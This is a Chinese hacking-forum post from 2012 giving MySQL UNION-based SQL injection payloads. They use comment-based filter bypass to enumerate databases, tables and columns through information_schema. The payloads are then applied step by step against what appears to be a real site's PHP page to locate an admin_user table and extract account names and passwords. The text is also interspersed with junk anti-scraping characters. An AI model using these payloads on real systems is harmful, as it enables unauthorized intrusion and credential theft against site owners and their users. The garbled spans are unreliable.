中国网络渗透测试联盟

标题: mysql注入技巧 [打印本页]

作者: admin    时间: 2012-9-13 16:29
标题: mysql注入技巧
查库
1 m1 A6 Z- |7 Z# M$ z. c* i) t* V
4 p+ {0 L8 x( @4 i! R- Bid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*. [7 ~; L2 I0 i9 J3 k, H# ^
1 d( Q! h& e& t9 ~/ o. X3 T
查表% I: u4 [4 b; {# R0 [7 W$ P
& H+ ]& |7 p6 z- D
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
- ]9 I! [% ]1 {! q( E
3 n3 q$ G7 g# p% w' K查段( m4 F2 N; ^# ?; U( O7 G
4 ^# ?. S7 n: d% }) A4 u, @
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1( B) L. \  X/ X7 K. L
, ]2 ]& N$ H( k

. }; P+ v3 O; D1 h7 I8 ]9 J4 i# {mysql5高级注入方法暴表
! U2 a3 c% e9 I- s8 e$ z/ W, N9 c% [: |" S$ E3 l8 t
例子如下:
, u5 o# }" H  |9 Q( o8 ~: p
2 \7 e6 I# V; P/ E% t& F1.爆表
: p8 }9 \/ U5 o$ e0 U) G; H7 qhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)3 J& L% |6 j% A* t/ b8 t3 q
这样爆到第4个时出现了admin_user表。
- c" c  }7 s& F8 R
, r& h9 W5 g! k) B6 r* r2.暴字段) @0 h& S- w* J3 f, j9 q( h
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*' F/ U1 Z; S  p4 `+ k- y- X
& O/ o. o# Q! I3 l, |! `# g3 W2 I! f
  _$ U( R" A' v. R
3.爆密码- y3 y: _# a# q* }5 Y" S, K5 Z* ^
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
- z6 C+ e2 c0 }5 X; {+ J8 h: z9 |0 o% b- t) d- L0 o
. G# o+ u; [" O





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2